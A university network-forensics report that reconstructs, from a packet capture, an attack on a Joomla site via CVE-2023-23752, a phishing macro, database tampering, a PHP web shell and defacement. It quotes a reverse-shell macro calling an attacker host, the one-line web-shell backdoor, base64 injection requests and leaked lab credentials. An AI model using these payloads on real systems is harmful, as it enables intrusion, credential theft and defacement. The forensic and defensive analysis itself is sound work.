Università di Genova
DIBRIS DIPARTIMENTO DI INFORMATICA, BIOINGEGNERIA, ROBOTICA E INGEGNERIA DEI SISTEMI

Report - Network Forensics

Digital Forensics Course - University of Genova - a.a 2023/24

Author:
Cattaneo Kevin - S4944382

Index

Checksum sha256

As first operation, I've checked the sha256 checksum, and it corresponds to the one given:
50abecb84e320a583d02161ecb4ee24bcdbf32e43c2fba6f296928c8b01f17f8

Overview

This report will analyze the traffic in the exam.pcap file. No images have been found except two thumbnails of the Joomla templates.
The main information about the traffic have been extracted via Wireshark, while the inference about the OS running and Browser user agent has been done via NetworkMiner, notice that this software analyzes the traffic in UTC+0.

Main actors

This first section will analyze the main actors that act on the traffic.
First of all we already know that:
The IP address **203.0.113.2** is used by Potenzio as a masquerade address. It used different user agents to perform the requests, and also different OS hosts. **MAC: 62B57FB7C5E2**
The IP address **203.0.113.113** is the provider's DNS address. **MAC: 6A2292AFE7A5**

The traffic is mainly DNS and TCP/HTTP, where the latter follow the former in the several requests, in order to resolve the name address: a request starts from the **203.0.113.113** DNS provider to the destination, when that request is responded back, the **203.0.113.2** Potenzio actor starts the request to the resolved name address.

By investigating the Statistics/Conversation section via Wireshark, I observe that the usual traffic from several IPs is an HTTP one (port 80).

58.16.119.*, 58.16.120.*, 58.16.121.*, 58.16.122.* - legal IPs that performs simple http request to Potenzio website
58.16.123.111 - does a port scan, probably the malicious actor; from the User-Agent data (that remains fixed through different requests) the OS running may be **Linux**.
-> MAC: 720364268B29
198.51.100.101 - www.potenzio.com - the one receiving the HTTP traffic, so it seems the targeted website victim; it is a Joomla website - **Apache/2.4.52 - Linux Ubuntu Cobalt (2.2.19) -> MAC: 62B57FB7C5E2** (same of **203.0.113.2)**
58.16.0.1 - is a POP (Post Office Protocol), email server

The following IPs are legal IPs of public available pages, I will not insert much more details.

18.154.156.167	- www.amazon.com	- legal IP
2.22.248.33	- www.zalando.it	- legal IP
13.226.244.9	- www.fantacalcio.it	- legal IP
172.65.227.140	- www.mediaworld.it	- legal IP
185.125.190.39	- archive.ubuntu.com	- legal IP

18.154.161.56	- www.calciomercato.com	- legal IP
18.65.64.31	- www.virgilio.it	- legal IP
52.211.35.111	- www.madisoft.it	- legal IP
18.65.54.104	- www.sky.it	- legal IP
95.141.35.97	- www.programmitv.it	- legal IP
104.21.21.205	- www.sissiweb.it	- legal IP
13.35.198.74	- www.libero.it	- legal IP
108.139.210.96	- www.huffingtonpost.it	- legal IP
199.232.212.194	- www.fandom.com	- legal IP
204.79.197.212	- www.live.com	- legal IP
216.58.104.142	- www.youtube.com	- legal IP
157.240.231.60	- www.whatsapp.com	- legal IP
2.23.84.43	- www.tuttosport.com	- legal IP
46.4.22.185	- www.ansa.it	- legal IP
156.54.0.105	- www.timgate.it,	- legal IP
108.139.210.71	- www.lastampa.it,	- legal IP

5W1H - Timeline

This paragraph analyzes artifacts that differ from a simple HTTP connection of legal IP to the Potenzio website. All the timestamps are in UTC + 2 (Italy), following the investigation process 5W1H. I will include the traffic of the main actors **203.0.113.2** (Potenzio) and **58.16.123.111** (malicious actor).

On 12 May 2024, at 12.26.18
203.0.113.2 (an actor from Potenzio), port 57294 - performs a GET request to **108.139.210.96** - www.huffingtonpost.it, port 80 (HTTP) with UserAgent - Chrome 111.0.0.

On 12 May 2024, starting at 12.26.18
58.16.123.111, port 50896 - tries to connect to the Potenzio website at **198.51.100.101** with HTTPS (443) that is not supported by the website: a RESET response is sent.

On 12 May 2024, starting at 12.26.19
58.16.123.111, port 51152 - is doing a port scanning process against **198.51.100.101** by sending TCP requests via NMAP tool to several ports of **198.51.100.101.** The hint of a port scanning comes also from the RESET responses of **198.51.100.101.**
The port scanning is very fast, so fast that the response from **198.51.100.101** may happen clustered after some more requests by **58.16.123.111.**

On 12 May 2024, at 12.26.25
58.16.123.111, port 38028 - tried to GET the robots.txt file from **198.51.100.101** via HTTP (80), which responded with 404 Not Found, with UserAgent - curl/8.5.0.

On 12 May 2024, at 12.26.29

203.0.113.2 (an actor from Potenzio), port 58085 - performs a GET request to **18.154.156.167** - www.amazon.com, port 80 (HTTP) with UserAgent - Firefox 111.0.

On 12 May 2024, at 12.26.36
58.16.123.111, port 43704 - made a POST request trying to log without success to the **administrator** page of the Potenzio website at **198.51.100.101,** port 80 with UserAgent - curl/8.5.0, as follows:
username=admin&passwd=admin&option=com_login&task=login&1ccb8a72949abcb30e0541eeac5603e1=1
SHA256 of the artifact (HTTP stream):
7ddd90355dd1105043e053ee3b560a0da46ac0fb453a8d617aae7d46023d73ea

On 12 May 2024, at 12.26.40
203.0.113.2 (an actor from Potenzio), port 27044 - performs a GET request to **216.58.204.142** - www.youtube.com, port 80 (HTTP) with UserAgent - Chrome 111.0.0.

On 12 May 2024, at 12.26.42
58.16.123.111, port 45382 - printed the files and directories, together with more information about the Joomla configuration and version via the **administrator** page of the Potenzio website at **198.51.100.101** through the publicly accessible link with UserAgent - curl/8.5.0: http://www.potenzio.com/administrator/manifests/files/joomla.xml.
SHA256 of the artifact (file):
55e25542a98b82e99a8e5a87c4eff6c36e3d1412f32a5008ae95083e77b50418

On 12 May 2024, at 12.26.49
58.16.123.111, port 45384 - gained some information about the configuration file from the application section of the website at **198.51.100.101** with UserAgent - curl/8.5.0 through:
http://www.potenzio.com/api/index.php/v1/config/application?public=true
SHA256 of the artifact (file):
e1852b2ff591074711f4333a1af64ce61a80aa25b521d944467a0bc40bdbf85a
The actor gains information about the database: is *mysql*, the ip host is *10.0.100.100* and password is *secret4joomla*. In particular in this fragment:


```
{
            "type": "application",
            "id": "224",
            "attributes": {
                "dbtype": "mysqli",
                "id": 224
            }
        },
        {
            "type": "application",
            "id": "224",
            "attributes": {
                "host": "10.0.100.100",
```

```
            "id": 224
        }
    },
    {
        "type": "application",
        "id": "224",
        "attributes": {
            "user": "joomla",
            "id": 224
        }
    },
    {
        "type": "application",
        "id": "224",
        "attributes": {
            "password": "secret4joomla",
            "id": 224
        }
    },
    {
        "type": "application",
        "id": "224",
        "attributes": {
            "db": "joomladb",
            "id": 224
        }
    },
```


This tentative is guided by the previous discovery of the Joomla version in the manifest file: 4.2.7. This version has a CVE that has a public exploit existing - **CVE-2023-23752**: "*Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability. This vulnerability allows unauthenticated users access to web service endpoints which contain sensitive information.*"

On 12 May 2024, at 12.26.53
58.16.123.111, port 56438 - made a POST request trying to log without success to the **administrator** page of the Potenzio website at **198.51.100.101** with UserAgent - curl/8.5.0, as follows:
username=admin&passwd=secret4joomla&option=com_login&task=login&5422605aeac6f0918aa485d3e33bee62=1
SHA256 of the artifact (HTTP stream):
342252e388bfd8bbc9b65e98c68ea4e9dcf95feccc4ed343179d3410518e6049

On 12 May 2024, at 12.26.53

203.0.113.2 (an actor from Potenzio), port 39334 - performs a GET request to **2.22.248.33** - www.zalando.it, port 80 (HTTP) with UserAgent - Firefox 110.0.

On 12 May 2024, at 12.27.03
203.0.113.2 (an actor from Potenzio), port 42901 - performs a GET request to **204.79.197.212** - www.live.com, port 80 (HTTP) with UserAgent - Chrome 111.0.0.

On 12 May 2024, at 12.27.15
203.0.113.2 (an actor from Potenzio), port 45519 - performs a GET request to **13.226.244.9** - www.fantacalcio.it, port 80 (HTTP) with UserAgent - Firefox 102.0.

On 12 May 2024, at 12.27.26
203.0.113.2 (an actor from Potenzio), port 42108 - performs a GET request to **146.75.61.50** - www.corriere.it, port 80 (HTTP) with UserAgent - Firefox 111.0.

On 12 May 2024, at 12.27.33
203.0.113.2 (an actor from Potenzio), port 40822 - performed a connection to **58.16.0.1** - the POP mail server, port 110. The captured traffic is the following:

```
+OK
CAPA
-ERR
USER claudio.volume
+OK
PASS claudione
+OK
STAT
+OK 1 61206
LIST
+OK
1 61206
.
UIDL
+OK
1 3ab6021c3f62e37e
.
RETR 1
+OK
```

SHA256 of the artifact (TCP stream):
7150dd1fa38491ba1921285506bdda4de5fecfce466f1f40d4c82928fe135f44

The command CAPA(capability) is typed, but is not supported by the POP server, so ERR is printed.
So the user connected to the server with the following credentials:
username - claudio.volume
password - claudione
This email is provided in the website as main contact address for Potenzio:

Claudio.Volume@potenzio.com
Then the STAT command is typed, and the server displays the number of messages currently in the mailbox and the size in bytes as shown
Then the LIST command is typed, obtaining a similar result of STAT.
Then a UIDL command is typed, that shows an unique identifier to one message present.
Then the user RETR (retrieve) the email cited before, received from smtp.harmonic.com (mx.lockermaster.lol [58.16.123.111]):
Dear Claudio,
Please find attached exclusive offers for you.
Cheers
Jan Bauer
And a document is attached to the mail.
SHA256 of the artifact (document):
d96349afbcf38f571c63aa7749de705039d0a0b475284e961a4becb0ce13d4b2

The document contains some macros:

```
REM  *****  BASIC  *****
Sub Main
	' Run
	Select Case GetGUIType()
		Case 4: ' Linux
			shell ("bash -c 'while :; do bash -i >& /dev/tcp/libre0ffice.com/443
0>&1; sleep 2; done'",, "&")
	End Select
End Sub
```

SHA256 of the artifact (macro):
61e50ab21cbfbe5f8f8fae3185047f45be7f78296b3b979402a42235bce2c89c

This macro allows the user to open a reverse shell on the host, by connecting to the domain: *libre0ffice.com* on port 443. Since the email has been sent by **58.16.123.111**, it is probable that the host is also owned by the same owner of the malicious IP address. We have the confirmation via NetworkMiner: *libre0ffice.com* is the hostname of **58.16.123.111.**

On 12 May 2024, at 12.27.37
203.0.113.2 (an actor from Potenzio), port 53538 - performed a new connection to **58.16.0.1** - the POP mail server, port 110. The captured traffic is the following:

```
+OK
CAPA
-ERR
USER claudio.volume
+OK
PASS claudione
+OK
STAT
+OK 1 61206
LIST
```

+OK
1 61206
.
UIDL
+OK
1 3ab6021c3f62e37e
.
QUIT
+OK
SHA256 of the artifact (TCP stream):
79c548023752f84457f7b95c1f2ec52eafe3efb867338da7146ab0c2108dc054

On 12 May 2024, at 12.27.38
203.0.113.2 (an actor from Potenzio), port 25232 - performs a GET request to **157.240.231.60** - www.whatsapp.com, port 80 (HTTP) with UserAgent - Chrome 110.0.0.

On 12 May 2024, at 12.27.39
203.0.113.2 (an actor from Potenzio), port 61623 - performs a GET request to **199.232.212.194** - www.fandom.com, port 80 (HTTP) with UserAgent - Chrome 111.0.0.

On 12 May 2024, at 12.28.05
203.0.113.2, port 13324, contacted **58.16.123.111,** port 443 - the communication involved the reverse shell.The malicious actor gives the following commands:
sudo apt install -y mysql-client
Since it was not installed on the host.
SHA256 of the artifact (mysql-client_8.0.36-0ubuntu0.22.04.1_all.deb):
b4c29bf719c8c41841c29596acea12e987037c6d430224737b5ab99d283173c0
SHA256 of the artifact (mysql-client-core-8.0_8.0.36-0ubuntu0.22.04.1_amd64.deb):
cd4b988714b6c933e12d4f2d97e051b501d247176090c83cd150ea20810c5ab4
mysql -u joomla --password=secret4joomla -h 10.0.100.100 joomladb -e "show tables"
Here the user discover the user tables
mysql -u joomla --password=secret4joomla -h 10.0.100.100 joomladb -e "select * from pnv1x_users where name='admin'"
id name username email password
145 admin admin admin@potenzio.com $2y$10$uqCDO6k4EKc6I9zqOr0RTewU6eeixQfPDaF5b7DwxEyb5Ox.53nYq
mysql -u joomla --password=secret4joomla -h 10.0.100.100 joomladb -e "Update pnv1x_users SET password = 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' WHERE name='admin';"
SHA256 of the artifact (TCP stream):
8e8c5b59e105a505f5a7ea5bf3c3ac913bcb5efa20ed75b5804867fb67f365d1
In this way the malicious actor modified the login password of the admin user.
After the execution of the interested commands the connection is closed, and since the macro was a loop, some more connections are retried without success from **203.0.113.2** contacted **58.16.123.111**, since the latter stopped listening to 443.

On 12 May 2024, at 12.28.08
203.0.113.2 (an actor from Potenzio), port 56675 - performs a GET request to **172.65.227.140** - www.mediaworld.it port 80 (HTTP) with UserAgent - Firefox 111.0.0.

On 12 May 2024, at 12.28.13
203.0.113.2 (an actor from Potenzio), port 9121 - performs a GET request to **185.125.190.39** - archive.ubuntu.com, port 80 (HTTP) to get the mysql-client installer (this may have been done by the malicious actor via the reverse shell) with UserAgent - Debian APT-HTTP/1.3 (2.4.12).

On 12 May 2024, at 12.28.18
203.0.113.2 (an actor from Potenzio), port 52763 - performs a GET request to **2.23.84.43** - www.tuttosport.com, port 80 (HTTP) with UserAgent - Firefox 110.0.

On 12 May 2024, at 12.28.28
203.0.113.2 (an actor from Potenzio), port 62501 - performs a GET request to **18.154.161.56** - www.calciomercato.com, port 80 (HTTP) with UserAgent - Chrome 108.0.0.

On 12 May 2024, at 12.28.39
203.0.113.2 (an actor from Potenzio), port 47451 - performs a GET request to **199.232.212.194** - www.fandom.com, port 80 (HTTP) with UserAgent - Firefox 110.0.

On 12 May 2024, at 12.28.46
58.16.123.111, port 60688 - made a POST request trying to log **with success** to the **administrator** page of the Potenzio website at **198.51.100.101**, port 80, with UserAgent - Firefox 115.0 (probably to edit the following templates via GUI) as follows:
username=admin&passwd=secret&option=com_login&task=login&return=aW5kZXgucGhw&9b743983338b78babef0af18f7e98d39=1
SHA256 of the artifact (HTTP stream):
fd6b85abe028609a7852751423e0ae1651fce6b789f616900469cf31c113c057

On 12 May 2024, at 12.28.51
203.0.113.2 (an actor from Potenzio), port 40750 - performs a GET request to **18.65.64.31** - www.virgilio.it, port 80 (HTTP) with UserAgent - Chrome 111.0.0.

On 12 May 2024, at 12.29.02
203.0.113.2 (an actor from Potenzio), port 16203 - performs a GET request to **156.54.0.105** - www.timgate.it, port 80 (HTTP) with UserAgent - Chrome 108.0.0.

On 12 May 2024, at 12.29.14
203.0.113.2 (an actor from Potenzio), port 14030 - performs a GET request to **46.4.22.185** - www.ansa.it, port 80 (HTTP) with UserAgent - Safari 16.2.

On 12 May 2024, at 12.29.24

203.0.113.2 (an actor from Potenzio), port 15480 - performs a GET request to **52.211.35.111** - www.madisoft.it port 80 (HTTP) with UserAgent - Edge 110.0.

On 12 May 2024, at 12.29.35
203.0.113.2 (an actor from Potenzio), port 59027 - performs a GET request to **108.139.210.71** - www.lastampa.it, port 80 (HTTP)

On 12 May 2024, at 12.29.46
203.0.113.2 (an actor from Potenzio), port 44956 - performs a GET request to **13.107.42.14** - www.linkedin.com, port 80 (HTTP) with UserAgent - Chrome 109.0.0.

On 12 May 2024, at 12.29.57
203.0.113.2 (an actor from Potenzio), port 14117 - performs a GET request to **18.65.54.104** - www.sky.it, port 80 (HTTP) with UserAgent - Firefox 109.0.

On 12 May 2024, at 12.30.10
203.0.113.2 (an actor from Potenzio), port 57826 - performs a GET request to **95.141.35.97 -** www.programmitv.it, port 80 (HTTP) with UserAgent - Chrome 111.0.0.

On 12 May 2024, at 12.30.17
58.16.123.111, port 37508 - after gaining access to the **administrator** page of the Potenzio website at **198.51.100.101,** port 80, the actor is exploring the templates section, and doing POST requests with UserAgent - Firefox 115.0 at:
/administrator/index.php?option=com_templates&view=template&id=223&file=L2luZGV4LnBocA&isMedia=0
Where file=L2luZGV4LnBocA is from base64: /index.php
So the malicious actor is editing the homepage file through templates.
The post message is URL encoded and contains the entire index.php file, with the difference between the two index.php versions in one of the last lines:
<?php if (isset($_GET['rand'])) system(base64_decode($_GET['rand'])); ?>
That allows it to inject commands if the rand parameter is passed.
SHA256 of the artifact (original index.php homepage):
9acc3e886fa5eb0e08755201851d5d221682f3915c7c1c89e9872c164e0837ce
SHA256 of the artifact (modified index.php homepage):
a9ed281859a81242d5aba3245cad9f9a426f1d0ac9871c376ab4b53899dd437f

On 12 May 2024, at 12.30.32
203.0.113.2 (an actor from Potenzio), port 35467 - performs a GET request to **104.21.21.205** - www.sissiweb.it, port 80 (HTTP) with UserAgent - Chrome 108.0.0.

On 12 May 2024, at 12.30.35
58.16.123.111, port 35338 - inject commands via GET requests into the website at **198.51.100.101**, port 80 (HTTP) with UserAgent - curl/8.5.0**:**
/?rand=bHMgLWxhCg==
that is a base64:
ls -la

SHA256 of the artifact (web page with rand parameter):
6cfbad675e308a1308c89563535668e4fd6631f361e315238760449f90fccfad

In this way the user tested the functionality of the new injecting possibility, and indeed the website print all the files in the current directory:

drwxr-xr-x 1 www-data www-data 4096 May 9 15:56 .
drwxr-xr-x 1 root root 4096 May 4 12:06 ..
-rw-r--r-- 1 www-data www-data 18092 Jan 30 2023 LICENSE.txt
-rw-r--r-- 1 www-data www-data 4942 Jan 30 2023 README.txt
drwxr-xr-x 1 www-data www-data 4096 Jan 30 2023 administrator
drwxr-xr-x 5 www-data www-data 4096 Jan 30 2023 api
drwxr-xr-x 2 www-data www-data 4096 Jan 30 2023 cache
drwxr-xr-x 2 www-data www-data 4096 Jan 30 2023 cli
drwxr-xr-x 18 www-data www-data 4096 Jan 30 2023 components
-rw-r--r-- 1 root root 2003 May 9 15:46 configuration.php
-rw-r--r-- 1 www-data www-data 6858 Jan 30 2023 htaccess.txt
drwxr-xr-x 1 www-data www-data 4096 May 9 15:56 images
drwxr-xr-x 2 www-data www-data 4096 Jan 30 2023 includes
-rw-r--r-- 1 www-data www-data 1068 Jan 30 2023 index.php
drwxr-xr-x 4 www-data www-data 4096 Jan 30 2023 language
drwxr-xr-x 6 www-data www-data 4096 Jan 30 2023 layouts
drwxr-xr-x 6 www-data www-data 4096 Jan 30 2023 libraries
drwxr-xr-x 71 www-data www-data 4096 Jan 30 2023 media
drwxr-xr-x 26 www-data www-data 4096 Jan 30 2023 modules
drwxr-xr-x 25 www-data www-data 4096 Jan 30 2023 plugins
-rw-r--r-- 1 www-data www-data 764 Jan 30 2023 robots.txt.dist
drwxr-xr-x 1 www-data www-data 4096 Jan 30 2023 templates
drwxr-xr-x 2 www-data www-data 4096 Jan 30 2023 tmp
-rw-r--r-- 1 www-data www-data 2974 Jan 30 2023 web.config.txt

and then inject the following with UserAgent - curl/8.5.0, from port 35404:

/?rand=YmFzaCAtYyAiY2F0ID4gaW5kZXguaHRtbCA8PCBFT0YKClw8cHJlPgpHcmVldGluZ3MsCl
dlIGFyZSBFY29EZWZlbmRlcnMuIApXZSBoYXZlIGRpc3J1cHRlZCBhY2Nlc3MgdG8gdGhlIFBvdGVu
emlvIHdlYnNpdGUgZm9yIG9uZSBzaW1wbGUgcmVhc29uOiB5b3VyIHBvbGx1dGluZyBwcmVzZ
W5jZSBvbiBvdXIgcGxhbmV0IGNhbiBubyBsb25nZXIgYmUgaWdub3JlZC4KRm9yIHllYXJzLCBQb3
RlbnppbyBoYXMgZGlzcmVnYXJkZWQgdGhlIHdhcm5pbmdzIG9mIHNjaWVudGlzdHMsIHZpb2x
hdGVkIGVudmlyb25tZW50YWwgcmVndWxhdGlvbnMsIGFuZCBjb21wcm9taXNlZCB0aGUgaGVh
bHRoIG9mIHRob3VzYW5kcyB3aXRoIGl0cyB0b3hpYyBlbWlzc2lvbnMuIApXZSBjYW5ub3Qgc3Rh
bmQgYnkgc2lsZW50bHkgd2hpbGUgb3VyIHBsYW5ldCBzdWZmZXJzLgpUaGlzIGRlZmFjZW1lbnQ
gaXMgYSB3YXJuaW5nLiBDaGFuZ2UgeW91ciBwcmFjdGljZXMsIHJlZHVjZSBwb2xsdXRpb24sIGFu
ZCByZXNwZWN0IHRoZSBFYXJ0aC4gSXQgaXMgbm90IHRvbyBsYXRlIHRvIG1ha2UgYSBkaWZmZ
XJlbmNlLCBidXQgdGltZSBpcyBydW5uaW5nIG91dC4KCklmIFBvdGVuemlvIGRvZXMgbm90IGJlZ
2luIHRvIHRha2UgY29uY3JldGUgbWVhc3VyZXMgdG8gaW1wcm92ZSBpdHMgZW52aXJvbm1lbnR
hbCBmb290cHJpbnQsIHdlIHdpbGwgZW5zdXJlIHRoYXQgdGhlIHdvcmxkIGtub3dzIGV2ZXJ5IGRl
c3RydWN0aXZlIGFjdGlvbiB0aGV5IHRha2UuIFRoaXMgaXMganVzdCB0aGUgYmVnaW5uaW5nLg
oKQWN0IG5vdy4gT3VyIHBsYW5ldCBjYW5ub3Qgd2FpdCBhbnkgbG9uZ2VyLgoKRU9GIgo=

that is
bash -c "cat > index.html << EOF

\<pre>
Greetings,
We are EcoDefenders.
We have disrupted access to the Potenzio website for one simple reason: your polluting presence on our planet can no longer be ignored.
For years, Potenzio has disregarded the warnings of scientists, violated environmental regulations, and compromised the health of thousands with its toxic emissions.
We cannot stand by silently while our planet suffers.
This defacement is a warning. Change your practices, reduce pollution, and respect the Earth. It is not too late to make a difference, but time is running out.

If Potenzio does not begin to take concrete measures to improve its environmental footprint, we will ensure that the world knows every destructive action they take. This is just the beginning.

Act now. Our planet cannot wait any longer.

EOF"
SHA256 of the artifact (web page with rand parameter):
76e59247c17189a18af3d028556377cc978fdfb79221608ee39728dbf0aac285
In this way the malicious actor has done a defacing of the website since the index.html has priority in view in respect to the index.php.

On 12 May 2024, at 12.30.43
203.0.113.2 (an actor from Potenzio), port 23974 - performs a GET request to **2.23.84.7** - www.corrieredellosport.it, port 80 (HTTP) with UserAgent - Firefox 110.0.

On 12 May 2024, at 12.30.53
203.0.113.2 (an actor from Potenzio), port 51031 - performs a GET request to **13.35.198.74** - www.libero.it, port 80 (HTTP) with UserAgent - Firefox 111.0.

The Attack

The malicious actor (**58.16.123.111**) starts a port scanning, and discovers that **203.0.113.2** has 22 port open (ssh). No other ports are open, nor the attacker tries to further connect to the ssh port.
So the user decides to connect directly to the website at **198.51.100.101** and to gain admin privileges by login. The actor tries a pair of credentials without success, so investigate further into the website.
He discovered the version of Joomla in the joomla.xml manifest file and used on its advantage a vulnerability of the Joomla version 4.2.7, discovered from the CVE-2023-23752.
In this way the user explores the api configuration, in which are present some database configuration and credentials, here discovers the password of the database: *secret4joomla*.
Then the user tries to login as admin to the website, trying the same password of the database, but without success. So he decides to send a phishing email to the email written in the homepage: *Claudio.Volume@potenzio.com*. In this email a macro was present and the *claudio* user opened it without worrying too much. In this way a reverse shell has been opened on the host and with that the malicious user installs the mysql client to connect to the database at *10.0.100.100*. After connecting to the database, he finds the user tables and changes the admin login password. After that the user logs into the administrator page of Joomla by putting the newly modified password.
Then explores the template section and modify the index.php of the homepage, by inserting the new line:
<?php if (isset($_GET['rand'])) system(base64_decode($_GET['rand'])); ?>.
In this way any command passed in the url in base64 to the rand parameter would be executed by the webserver.
By creating an index.html file the user deface the homepage of the Potenzio website.

Note: the malicious actor didn't remove or encrypt any data. Moreover its impact on the system is reduced since the index.php is modified with just one line. In this way the attack may pass silently even through several development versions of the website: it's like a backdoor would be always open if the current index.php is not fixed.

Similar attacks:

- https://www.hackingarticles.in/joomla-reverse-shell/
- https://www.pingsafe.com/blog/cve-2023-23752-joomla-authentication-bypass-vulnerability/ (in ruby)

Possible solutions and suggestions

After searching online, here are some suggestions for the problems encountered:

- of course, upgrade the Joomla version to protect from the vulnerability explained in the CVE and recover a backup of index.php without the malicious line.
- protect from writing the index.php so that it can’t be modified, even by admin
- even if it does not solve anything in particular, it can be possible to hide the manifest joomla.xml to hide the version. It is still present that the version of Joomla can be retrieved by other easy and different methods.